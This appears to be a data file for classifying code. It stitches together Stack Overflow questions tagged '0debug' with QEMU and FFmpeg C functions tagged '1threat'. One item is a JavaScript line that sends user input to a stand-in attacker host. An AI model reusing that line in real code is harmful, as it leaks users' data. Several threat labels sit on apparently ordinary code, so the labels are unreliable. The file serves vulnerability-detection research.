Azure web app redirect http to https : <p>I use Azure cloud with web app and my server side written on <code>nodejs</code>. When web app receive a http request I want to redirect the request to https I found the solution. I put that to my web.config file inside the <code>rules</code> tag </p> <pre><code> &lt;rule name="Force HTTPS" enabled="true"&gt; &lt;match url="(.*)" ignoreCase="false" /&gt; &lt;conditions&gt; &lt;add input="{HTTPS}" pattern="off" /&gt; &lt;/conditions&gt; &lt;action type="Redirect" url="https://{HTTP_HOST}/{R:1}" appendQueryString="false" redirectType="Permanent" /&gt; &lt;/rule&gt; </code></pre> <p>The problem is when I type in the browser "<a href="https://myURL.com" rel="noreferrer">https://myURL.com</a>" it redirect to main screen every thing ok, but when I change https to http "<a href="http://myURL.com" rel="noreferrer">http://myURL.com</a>" it redirect to <a href="https://myURL.com/" rel="noreferrer">https://myURL.com/</a>" and add to the url "bin/www" according that the url looks like that "<a href="http://myURL.com/bin/www" rel="noreferrer">http://myURL.com/bin/www</a>", the response is: page doesn't find.</p> <p>The question is how to redirect a clear url without added data to the url?</p> <p>Part of my web.config file:</p> <pre><code>&lt;rewrite&gt; &lt;rules&gt; &lt;!-- Do not interfere with requests for node-inspector debugging --&gt; &lt;rule name="NodeInspector" patternSyntax="ECMAScript" stopProcessing="true"&gt; &lt;match url="^bin/www\/debug[\/]?" /&gt; &lt;/rule&gt; &lt;!-- First we consider whether the incoming URL matches a physical file in the /public folder --&gt; &lt;rule name="StaticContent"&gt; &lt;action type="Rewrite" url="public{REQUEST_URI}" /&gt; &lt;/rule&gt; &lt;!-- All other URLs are mapped to the node.js site entry point --&gt; &lt;rule name="DynamicContent"&gt; &lt;conditions&gt; &lt;add input="{REQUEST_FILENAME}" matchType="IsFile" negate="True" /&gt; &lt;/conditions&gt; &lt;action type="Rewrite" url="bin/www" /&gt; &lt;/rule&gt; &lt;!-- Redirect all traffic to SSL --&gt; &lt;rule name="Force HTTPS" enabled="true"&gt; &lt;match url="(.*)" ignoreCase="false" /&gt; &lt;conditions&gt; &lt;add input="{HTTPS}" pattern="off" /&gt; &lt;/conditions&gt; &lt;action type="Redirect" url="https://{HTTP_HOST}/{R:1}" appendQueryString="false" redirectType="Permanent" /&gt; &lt;/rule&gt; &lt;/rules&gt; &lt;/rewrite&gt; &lt;!-- 'bin' directory has no special meaning in node.js and apps can be placed in it --&gt; &lt;security&gt; &lt;requestFiltering&gt; &lt;hiddenSegments&gt; &lt;remove segment="bin" /&gt; &lt;/hiddenSegments&gt; &lt;/requestFiltering&gt; &lt;/security&gt; </code></pre> <p>Thanks for answers, Michael.</p>
0debug
static uint32_t iommu_mem_readw(void *opaque, target_phys_addr_t addr) { IOMMUState *s = opaque; target_phys_addr_t saddr; uint32_t ret; saddr = (addr - s->addr) >> 2; switch (saddr) { default: ret = s->regs[saddr]; break; case IOMMU_AFAR: case IOMMU_AFSR: ret = s->regs[saddr]; qemu_irq_lower(s->irq); break; } DPRINTF("read reg[%d] = %x\n", (int)saddr, ret); return ret; }
1threat
static void tgen_setcond(TCGContext *s, TCGType type, TCGCond cond, TCGReg dest, TCGReg c1, TCGArg c2, int c2const) { int cc; switch (cond) { case TCG_COND_GTU: case TCG_COND_GT: do_greater: tgen_cmp(s, type, cond, c1, c2, c2const, true); tcg_out_movi(s, type, dest, 0); tcg_out_insn(s, RRE, ALCGR, dest, dest); return; case TCG_COND_GEU: do_geu: tcg_out_mov(s, type, TCG_TMP0, c1); if (c2const) { tcg_out_movi(s, TCG_TYPE_I64, dest, 0); if (type == TCG_TYPE_I32) { tcg_out_insn(s, RIL, SLFI, TCG_TMP0, c2); } else { tcg_out_insn(s, RIL, SLGFI, TCG_TMP0, c2); } } else { if (type == TCG_TYPE_I32) { tcg_out_insn(s, RR, SLR, TCG_TMP0, c2); } else { tcg_out_insn(s, RRE, SLGR, TCG_TMP0, c2); } tcg_out_movi(s, TCG_TYPE_I64, dest, 0); } tcg_out_insn(s, RRE, ALCGR, dest, dest); return; case TCG_COND_LEU: case TCG_COND_LTU: case TCG_COND_LT: if (c2const) { tcg_out_movi(s, type, TCG_TMP0, c2); c2 = c1; c2const = 0; c1 = TCG_TMP0; } else { TCGReg t = c1; c1 = c2; c2 = t; } if (cond == TCG_COND_LEU) { goto do_geu; } cond = tcg_swap_cond(cond); goto do_greater; case TCG_COND_NE: if (c2const && c2 == 0) { cond = TCG_COND_GTU; goto do_greater; } break; case TCG_COND_EQ: if (c2const && c2 == 0) { tcg_out_movi(s, TCG_TYPE_I64, TCG_TMP0, 0); c2 = c1; c2const = 0; c1 = TCG_TMP0; goto do_geu; } break; default: break; } cc = tgen_cmp(s, type, cond, c1, c2, c2const, false); if (facilities & FACILITY_LOAD_ON_COND) { tcg_out_movi(s, TCG_TYPE_I64, dest, 0); tcg_out_movi(s, TCG_TYPE_I64, TCG_TMP0, 1); tcg_out_insn(s, RRF, LOCGR, dest, TCG_TMP0, cc); } else { tcg_out_movi(s, type, dest, 1); tcg_out_insn(s, RI, BRC, cc, (4 + 4) >> 1); tcg_out_movi(s, type, dest, 0); } }
1threat
How I can Count an Integer Value from Edittext Android : i really new in android programming i wanna make a application that can count how many number you input in 'editText',but unfortunately i can't find any method that can count how many integer i input thanks for helping me best regrads
0debug
How do you implement strtol under const-correctness? : <p>According to <a href="http://www.cplusplus.com/reference/cstdlib/strtol/">http://www.cplusplus.com/reference/cstdlib/strtol/</a> this function has a signature of <code>long int strtol (const char* str, char** endptr, int base)</code>.</p> <p>I wonder, though: If it gets passed a <code>const char *</code> to the beginning of the string, how does it manage to turn that into a non-const pointer to the first unprocessed character without cheating? What would an implementation of strtol look like that doesn't perform a const_cast?</p>
0debug
Why is the select not visible entirely? : using MaterializeCSS, there is a modal window with a form. It is expected that there will be a lot of option in select, however, as you can see in the screenshot, the modal window "overlaps" the option part. How to win? [![enter image description here][1]][1] [1]: https://i.stack.imgur.com/AfiLv.png
0debug
static void rtsp_cmd_describe(HTTPContext *c, const char *url) { FFStream *stream; char path1[1024]; const char *path; uint8_t *content; int content_length, len; struct sockaddr_in my_addr; url_split(NULL, 0, NULL, 0, NULL, path1, sizeof(path1), url); path = path1; if (*path == '/') path++; for(stream = first_stream; stream != NULL; stream = stream->next) { if (!stream->is_feed && stream->fmt == &rtp_mux && !strcmp(path, stream->filename)) { goto found; } } rtsp_reply_error(c, RTSP_STATUS_SERVICE); return; found: len = sizeof(my_addr); getsockname(c->fd, (struct sockaddr *)&my_addr, &len); content_length = prepare_sdp_description(stream, &content, my_addr.sin_addr); if (content_length < 0) { rtsp_reply_error(c, RTSP_STATUS_INTERNAL); return; } rtsp_reply_header(c, RTSP_STATUS_OK); url_fprintf(c->pb, "Content-Type: application/sdp\r\n"); url_fprintf(c->pb, "Content-Length: %d\r\n", content_length); url_fprintf(c->pb, "\r\n"); put_buffer(c->pb, content, content_length); }
1threat
static void test_leak_bucket(void) { throttle_config_init(&cfg); bkt = cfg.buckets[THROTTLE_BPS_TOTAL]; bkt.avg = 150; bkt.max = 15; bkt.level = 1.5; throttle_leak_bucket(&bkt, NANOSECONDS_PER_SECOND / 150); g_assert(bkt.avg == 150); g_assert(bkt.max == 15); g_assert(double_cmp(bkt.level, 0.5)); throttle_leak_bucket(&bkt, NANOSECONDS_PER_SECOND / 150); g_assert(bkt.avg == 150); g_assert(bkt.max == 15); g_assert(double_cmp(bkt.level, 0)); throttle_leak_bucket(&bkt, NANOSECONDS_PER_SECOND / 150); g_assert(bkt.avg == 150); g_assert(bkt.max == 15); g_assert(double_cmp(bkt.level, 0)); }
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
How to get attribues from XML in c# : i am getting output xml format in that can able to access appointment-nbr, but i am not able to eqid.How can i get slot-start,slot-end,eqid. > <appointment-nbr>494</appointment-nbr> <slot > slot-start="2018-07-16T12:31:00" slot-end="2018-07-16T13:00:00" /> > <appointment requires-xray="false" /> <container eqid="ASWU2705080" /> This is my code foreach (XmlNode node in appointmentsresponce){ XmlElement flightEle = (XmlElement)node; XmlNodeList appointmentnbr = flightEle.GetElementsByTagName("appointment-nbr"); XmlNodeList containerNodeList = flightEle.GetElementsByTagName("container"); }
0debug
Functions and loops for filtering : <p>Working on a homework assignment and am at a loss. Included is a screenshot of the code in Enthought Canopy. I'm confused on how to code out the rest of the function to enable loop filtering. Any help would be greatly appreciated. <a href="https://i.stack.imgur.com/LNO53.png" rel="nofollow noreferrer">enter image description here</a> </p>
0debug
Binding a configuration to an object graph in .NET Core 2.0 : <p>I'm making a .NET Core 2.0 app and I need to configure it. I'm looking at <a href="https://docs.microsoft.com/en-us/aspnet/core/fundamentals/configuration/?tabs=basicconfiguration#bind-to-an-object-graph" rel="noreferrer">this documentation</a> and it seems that in .NET Core 1.0 you could do:</p> <pre><code>var appConfig = new AppSettings(); config.GetSection("App").Bind(appConfig); </code></pre> <p>And in .NET Core 1.1 you could do:</p> <pre><code>var appConfig = config.GetSection("App").Get&lt;AppSettings&gt;(); </code></pre> <p>But neither Bind nor Get exist in .NET Core 2.0. What's the new way to achieve this?</p> <p>Thanks,</p> <p>Josh</p>
0debug
Website content and member database ids : <p>Why are some websites programmed to start member ids at 1 where as some websites start off the member ids like 30000000000000000 or even a random hash?</p> <p>For example, popular forum software such as vbulletin, invision power board, xenforo, etc have their members ids starting at 1. Then you look at steam for example, take a look at a profile and look at that huge member id.</p> <p>I've also noticed that some websites use uuids for basically member ids. Like mojang (yes, I know stay with me). They later on added a UUID to each account.</p> <p>What are the benefits of each one? Wouldn't starting at the id of 1 use less database storage?</p>
0debug
Hey guys! I need some help here with jquery. I am trying to pass a variable in eq. : <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> </head> <body> <form method="post" action="#" enctype="multipart/form-data"> <div id=parent_div0> <div><button class=cd type="button" id="add_step" > Add step0!</button></div> <div><button class=cd type="button" id="add_faizlami" > Add stepss0!</button></div> <input type='submit' name='submit'> </div> <div id=parent_div1> <div><button type="button" id="add_step1" > Add step1!</button></div> <div><button type="button" id="add_faizlami" > Add stepss1!</button></div> </div> <div id=parent_div2> <div><button type="button" id="add_step2" > Add step2!</button></div> <div><button type="button" id="add_faizlami2" > Add stepss2!</button></div> </div> <br/> </form> </div> </body> </html> <script> <script> var l='hello'; var counter=0; var variable='parent_div' +counter; $('#' + variable div:eq(' + counter + ')).append(l); </script> I have parent_div1, parent_div2 etc.(it will be dynamic and so I don't know the last one) in html and in each parent _div, I have several divs and i would like to append 'Hello' to the last div of a parent_div based on the value of the variable counter, but my appending line isn't working. Is there any problem with the syntax? I would really appreciate any help. I have been trying long to make this work.
0debug
using JSON causes my app to crash : i posted this app before but i had a problem with sharedpreference .. now i have a problem with json .. my app started to crash just when i open it .. that started after i used JSON so here is the main activity.. public class MainActivity extends AppCompatActivity { // Temporary code Note NoteAdapter mnotadapter = new NoteAdapter(); private boolean mSound; private int mAnimOption; private SharedPreferences mPrefs; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mnotadapter = new NoteAdapter(); ListView listNote = (ListView) findViewById(R.id.listView); listNote.setAdapter(mnotadapter); // Handle clicks on the ListView listNote.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapter, View view, int whichItem, long id) { /* Create a temporary Note Which is a reference to the Note that has just been clicked */ Note tempNote = mnotadapter.getItem(whichItem); // Create a new dialog window DialogShowNote dialog = new DialogShowNote(); // Send in a reference to the note to be shown dialog.sendNoteSelected(tempNote); // Show the dialog window with the note in it dialog.show(getFragmentManager(), ""); } }); } @Override public boolean onCreateOptionsMenu(Menu menu){ MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu_main , menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item){ int id = item.getItemId(); if(id == R.id.action_add){ DialogNewNote dialog = new DialogNewNote(); dialog.show(getFragmentManager(),""); } else if(id == R.id.action_settings){ Intent intent = new Intent(this,SettingActivity.class); startActivity(intent); return true; } return true; } @Override protected void onResume(){ super.onResume(); mPrefs = getSharedPreferences("Note to self", MODE_PRIVATE); mSound = mPrefs.getBoolean("sound", true); mAnimOption = mPrefs.getInt("anim option", SettingActivity.FAST); } @Override protected void onPause() { super.onPause(); mnotadapter.saveNotes(); } public void createNewNote(Note n){ // Temporary code mnotadapter.addNote(n); } public class NoteAdapter extends BaseAdapter { List<Note> noteList = new ArrayList<Note>(); private JSONSerializer mSerializer; public NoteAdapter(){ mSerializer = new JSONSerializer("NoteToSelf.json", MainActivity.this.getApplicationContext()); try { noteList = mSerializer.load(); } catch (Exception e) { noteList = new ArrayList<Note>(); Log.e("Error loading notes: ", "", e); } } public void saveNotes(){ try{ mSerializer.save(noteList); }catch(Exception e){ Log.e("Error Saving Notes","", e); } } @Override public int getCount() { return noteList.size(); } @Override public Note getItem(int whichItem) { return noteList.get(whichItem); } @Override public long getItemId(int whichItem) { return whichItem; } @Override public View getView(int whichItem, View view, ViewGroup viewGroup){ // Implement this method next // Has view been inflated already if(view == null){ // If not, do so here // First create a LayoutInflater LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); // Now instantiate view using inflater.inflate // using the listitem layout view = inflater.inflate(R.layout.listitem, viewGroup,false); // The false parameter is neccessary // because of the way that we want to use listitem }// End if // Grab a reference to all our TextView and ImageView widgets TextView txtTitle = (TextView) view.findViewById(R.id.textTitle); TextView txtDescription = (TextView) view.findViewById (R.id.txtDescription); ImageView ivImportant = (ImageView) view.findViewById (R.id.imageViewImportant); ImageView ivTodo = (ImageView) view.findViewById(R.id.imageViewTodo); ImageView ivIdea = (ImageView) view.findViewById (R.id.imageViewIdea); // Hide any ImageView widgets that are not relevant Note tempNote = noteList.get(whichItem); if (!tempNote.isImportant()){ ivImportant.setVisibility(View.GONE); } if (!tempNote.isTodo()){ ivTodo.setVisibility(View.GONE); } if (!tempNote.isIdea()) { ivIdea.setVisibility(View.GONE); } // Add the text to the heading and description txtTitle.setText(tempNote.getTitle()); txtDescription.setText(tempNote.getDescription()); return view; } public void addNote(Note n){ noteList.add(n); notifyDataSetChanged(); } } here is my jsonSerializer class which is supposed to serialize and deserialize the note :/ public class MainActivity extends AppCompatActivity { // Temporary code Note NoteAdapter mnotadapter = new NoteAdapter(); private boolean mSound; private int mAnimOption; private SharedPreferences mPrefs; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mnotadapter = new NoteAdapter(); ListView listNote = (ListView) findViewById(R.id.listView); listNote.setAdapter(mnotadapter); // Handle clicks on the ListView listNote.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapter, View view, int whichItem, long id) { /* Create a temporary Note Which is a reference to the Note that has just been clicked */ Note tempNote = mnotadapter.getItem(whichItem); // Create a new dialog window DialogShowNote dialog = new DialogShowNote(); // Send in a reference to the note to be shown dialog.sendNoteSelected(tempNote); // Show the dialog window with the note in it dialog.show(getFragmentManager(), ""); } }); } @Override public boolean onCreateOptionsMenu(Menu menu){ MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu_main , menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item){ int id = item.getItemId(); if(id == R.id.action_add){ DialogNewNote dialog = new DialogNewNote(); dialog.show(getFragmentManager(),""); } else if(id == R.id.action_settings){ Intent intent = new Intent(this,SettingActivity.class); startActivity(intent); return true; } return true; } @Override protected void onResume(){ super.onResume(); mPrefs = getSharedPreferences("Note to self", MODE_PRIVATE); mSound = mPrefs.getBoolean("sound", true); mAnimOption = mPrefs.getInt("anim option", SettingActivity.FAST); } @Override protected void onPause() { super.onPause(); mnotadapter.saveNotes(); } public void createNewNote(Note n){ // Temporary code mnotadapter.addNote(n); } public class NoteAdapter extends BaseAdapter { List<Note> noteList = new ArrayList<Note>(); private JSONSerializer mSerializer; public NoteAdapter(){ mSerializer = new JSONSerializer("NoteToSelf.json", MainActivity.this.getApplicationContext()); try { noteList = mSerializer.load(); } catch (Exception e) { noteList = new ArrayList<Note>(); Log.e("Error loading notes: ", "", e); } } public void saveNotes(){ try{ mSerializer.save(noteList); }catch(Exception e){ Log.e("Error Saving Notes","", e); } } @Override public int getCount() { return noteList.size(); } @Override public Note getItem(int whichItem) { return noteList.get(whichItem); } @Override public long getItemId(int whichItem) { return whichItem; } @Override public View getView(int whichItem, View view, ViewGroup viewGroup){ // Implement this method next // Has view been inflated already if(view == null){ // If not, do so here // First create a LayoutInflater LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); // Now instantiate view using inflater.inflate // using the listitem layout view = inflater.inflate(R.layout.listitem, viewGroup,false); // The false parameter is neccessary // because of the way that we want to use listitem }// End if // Grab a reference to all our TextView and ImageView widgets TextView txtTitle = (TextView) view.findViewById(R.id.textTitle); TextView txtDescription = (TextView) view.findViewById (R.id.txtDescription); ImageView ivImportant = (ImageView) view.findViewById (R.id.imageViewImportant); ImageView ivTodo = (ImageView) view.findViewById(R.id.imageViewTodo); ImageView ivIdea = (ImageView) view.findViewById (R.id.imageViewIdea); // Hide any ImageView widgets that are not relevant Note tempNote = noteList.get(whichItem); if (!tempNote.isImportant()){ ivImportant.setVisibility(View.GONE); } if (!tempNote.isTodo()){ ivTodo.setVisibility(View.GONE); } if (!tempNote.isIdea()) { ivIdea.setVisibility(View.GONE); } // Add the text to the heading and description txtTitle.setText(tempNote.getTitle()); txtDescription.setText(tempNote.getDescription()); return view; } public void addNote(Note n){ noteList.add(n); notifyDataSetChanged(); } } here is my note class ... public class Note { private String mTitle; private String mDescription; private static final String JSON_TITLE = "title"; private static final String JSON_DESCRIPTION = "description"; private static final String JSON_IDEA = "idea" ; private static final String JSON_TODO = "todo"; private static final String JSON_IMPORTANT = "important"; // Constructor // Only used when new is called with a JSONObject public Note(JSONObject jo) throws JSONException { mTitle = jo.getString(JSON_TITLE); mDescription = jo.getString(JSON_DESCRIPTION); mIdea = jo.getBoolean(JSON_IDEA); mTodo = jo.getBoolean(JSON_TODO); mImportant = jo.getBoolean(JSON_IMPORTANT); } public Note (){ } public JSONObject convertToJSON() throws JSONException{ JSONObject jo = new JSONObject(); jo.put(JSON_TITLE , mTitle); jo.put(JSON_DESCRIPTION, mDescription); jo.put(JSON_IDEA, mIdea); jo.put(JSON_TODO, mTodo); jo.put(JSON_IMPORTANT, mImportant); return jo; } public String getTitle() { return mTitle; } public void setTitle(String mTitle) { this.mTitle = mTitle; } public String getDescription() { return mDescription; } public void setDescription(String mDescription) { this.mDescription = mDescription; } public boolean isIdea() { return mIdea; } public void setIdea(boolean mIdea) { this.mIdea = mIdea; } public boolean isTodo() { return mTodo; } public void setTodo(boolean mTodo) { this.mTodo = mTodo; } public boolean isImportant() { return mImportant; } public void setImportant(boolean mImportant) { this.mImportant = mImportant; } private boolean mIdea; private boolean mTodo; private boolean mImportant; } here is my logat 11-29 09:52:16.757 4034-4034/? I/zygote: Not late-enabling -Xcheck:jni (already on) 11-29 09:52:16.790 4034-4034/? W/zygote: Unexpected CPU variant for X86 using defaults: x86 11-29 09:52:16.837 4034-4041/? E/zygote: Failed sending reply to debugger: Broken pipe 11-29 09:52:16.838 4034-4041/? I/zygote: Debugger is no longer active 11-29 09:52:17.303 4034-4034/? I/InstantRun: starting instant run server: is main process 11-29 09:52:17.434 4034-4034/? D/AndroidRuntime: Shutting down VM 11-29 09:52:17.443 4034-4034/? E/AndroidRuntime: FATAL EXCEPTION: main Process: com.gamecodeschool.notetomyself, PID: 4034 java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.gamecodeschool.notetomyself/com.gamecodeschool.notetomyself.MainActivity}: java.lang.NullPointerException: Attempt to invoke virtual method 'android.content.Context android.content.Context.getApplicationContext()' on a null object reference at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2679) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2856) at android.app.ActivityThread.-wrap11(Unknown Source:0) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1589) at android.os.Handler.dispatchMessage(Handler.java:106) at android.os.Looper.loop(Looper.java:164) at android.app.ActivityThread.main(ActivityThread.java:6494) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807) Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'android.content.Context android.content.Context.getApplicationContext()' on a null object reference at android.content.ContextWrapper.getApplicationContext(ContextWrapper.java:108) at com.gamecodeschool.notetomyself.MainActivity$NoteAdapter.<init>(MainActivity.java:92) at com.gamecodeschool.notetomyself.MainActivity.<init>(MainActivity.java:27) at java.lang.Class.newInstance(Native Method) at android.app.Instrumentation.newActivity(Instrumentation.java:1174) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2669) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2856)  at android.app.ActivityThread.-wrap11(Unknown Source:0)  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1589)  at android.os.Handler.dispatchMessage(Handler.java:106)  at android.os.Looper.loop(Looper.java:164)  at android.app.ActivityThread.main(ActivityThread.java:6494)  at java.lang.reflect.Method.invoke(Native Method)  at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807) 
0debug
void pcie_host_mmcfg_init(PCIExpressHost *e, uint32_t size) { assert(!(size & (size - 1))); assert(size >= PCIE_MMCFG_SIZE_MIN); assert(size <= PCIE_MMCFG_SIZE_MAX); e->size = size; memory_region_init_io(&e->mmio, OBJECT(e), &pcie_mmcfg_ops, e, "pcie-mmcfg", e->size); }
1threat
How to add a class name to div in javascript : <p>I have a simple script that calls my onepage-scroll.js script. How can I set the class name for <code>div</code> (which is a container) in case of this script? I've broke my head of trying to solve this problem - unfortunately my javascript knowledge is too poor at the moment and I'd appreciate any help.</p> <pre><code>jQuery(".main").onepage_scroll({ sectionContainer: "div", easing: "ease", animationTime: 1000, pagination: true, updateURL: false, beforeMove: function(index) {}, afterMove: function(index) {}, loop: false, keyboard: true, responsiveFallback: false, direction: "vertical" }); </code></pre>
0debug
static int sipr_decode_frame(AVCodecContext *avctx, void *datap, int *data_size, AVPacket *avpkt) { SiprContext *ctx = avctx->priv_data; const uint8_t *buf=avpkt->data; SiprParameters parm; const SiprModeParam *mode_par = &modes[ctx->mode]; GetBitContext gb; float *data = datap; int subframe_size = ctx->mode == MODE_16k ? L_SUBFR_16k : SUBFR_SIZE; int i; ctx->avctx = avctx; if (avpkt->size < (mode_par->bits_per_frame >> 3)) { av_log(avctx, AV_LOG_ERROR, "Error processing packet: packet size (%d) too small\n", avpkt->size); *data_size = 0; return -1; } if (*data_size < subframe_size * mode_par->subframe_count * sizeof(float)) { av_log(avctx, AV_LOG_ERROR, "Error processing packet: output buffer (%d) too small\n", *data_size); *data_size = 0; return -1; } init_get_bits(&gb, buf, mode_par->bits_per_frame); for (i = 0; i < mode_par->frames_per_packet; i++) { decode_parameters(&parm, &gb, mode_par); if (ctx->mode == MODE_16k) ff_sipr_decode_frame_16k(ctx, &parm, data); else decode_frame(ctx, &parm, data); data += subframe_size * mode_par->subframe_count; } *data_size = mode_par->frames_per_packet * subframe_size * mode_par->subframe_count * sizeof(float); return mode_par->bits_per_frame >> 3; }
1threat
static gboolean check_old_packet_regular(void *opaque) { CompareState *s = opaque; colo_old_packet_check(s); return TRUE; }
1threat
please help me Archive option is not active in android project : [I cannot Archive my app][1] Archive option is not active in android project or in build menu is not active [1]: https://i.stack.imgur.com/vyrSq.png
0debug
Best practise to handle Exception in thread "main" java.lang.NullPointerException from Bean class : <p>Am using Bean class to get/set value for the attributes. In some cases am gettig <code>Exception in thread "main" java.lang.NullPointerException</code> error due to the value is null. What will be the best practice to handle null pointer exception when we get/set values from/to bean class.</p> <p>Is that ternary operator is good to use or any other suggestions?</p> <p>Please find the below line of code where am getting null pointer exception.</p> <pre><code>doc.setCatalog_title(sourceAsMap.get("catalog_title").toString()); </code></pre>
0debug
static int qemu_chr_open_socket(QemuOpts *opts, CharDriverState **_chr) { CharDriverState *chr = NULL; TCPCharDriver *s = NULL; int fd = -1; int is_listen; int is_waitconnect; int do_nodelay; int is_unix; int is_telnet; int ret; is_listen = qemu_opt_get_bool(opts, "server", 0); is_waitconnect = qemu_opt_get_bool(opts, "wait", 1); is_telnet = qemu_opt_get_bool(opts, "telnet", 0); do_nodelay = !qemu_opt_get_bool(opts, "delay", 1); is_unix = qemu_opt_get(opts, "path") != NULL; if (!is_listen) is_waitconnect = 0; chr = g_malloc0(sizeof(CharDriverState)); s = g_malloc0(sizeof(TCPCharDriver)); if (is_unix) { if (is_listen) { fd = unix_listen_opts(opts); } else { fd = unix_connect_opts(opts); } } else { if (is_listen) { fd = inet_listen_opts(opts, 0); } else { fd = inet_connect_opts(opts); } } if (fd < 0) { ret = -errno; goto fail; } if (!is_waitconnect) socket_set_nonblock(fd); s->connected = 0; s->fd = -1; s->listen_fd = -1; s->msgfd = -1; s->is_unix = is_unix; s->do_nodelay = do_nodelay && !is_unix; chr->opaque = s; chr->chr_write = tcp_chr_write; chr->chr_close = tcp_chr_close; chr->get_msgfd = tcp_get_msgfd; chr->chr_add_client = tcp_chr_add_client; if (is_listen) { s->listen_fd = fd; qemu_set_fd_handler2(s->listen_fd, NULL, tcp_chr_accept, NULL, chr); if (is_telnet) s->do_telnetopt = 1; } else { s->connected = 1; s->fd = fd; socket_set_nodelay(fd); tcp_chr_connect(chr); } chr->filename = g_malloc(256); if (is_unix) { snprintf(chr->filename, 256, "unix:%s%s", qemu_opt_get(opts, "path"), qemu_opt_get_bool(opts, "server", 0) ? ",server" : ""); } else if (is_telnet) { snprintf(chr->filename, 256, "telnet:%s:%s%s", qemu_opt_get(opts, "host"), qemu_opt_get(opts, "port"), qemu_opt_get_bool(opts, "server", 0) ? ",server" : ""); } else { snprintf(chr->filename, 256, "tcp:%s:%s%s", qemu_opt_get(opts, "host"), qemu_opt_get(opts, "port"), qemu_opt_get_bool(opts, "server", 0) ? ",server" : ""); } if (is_listen && is_waitconnect) { printf("QEMU waiting for connection on: %s\n", chr->filename); tcp_chr_accept(chr); socket_set_nonblock(s->listen_fd); } *_chr = chr; return 0; fail: if (fd >= 0) closesocket(fd); g_free(s); g_free(chr); return ret; }
1threat
AVFilterContext *avfilter_graph_get_filter(AVFilterGraph *graph, char *name) { int i; if(!name) return NULL; for(i = 0; i < graph->filter_count; i ++) if(graph->filters[i]->name && !strcmp(name, graph->filters[i]->name)) return graph->filters[i]; return NULL; }
1threat
How do i create a brute force function in python without using any API and other library? : I know there are already some answers here. But see my code what i wanna do. genpass = '' #This is the password that we want to crack. psd = 'feed' #This is characters list. This is an array. chr = {'a','b','c','d','e','f','g','h'} def brute_force(psd, chr, genpass): # this function generates password # and check if this is match to psd or not. if genpass == psd: print('password found!', genpass)
0debug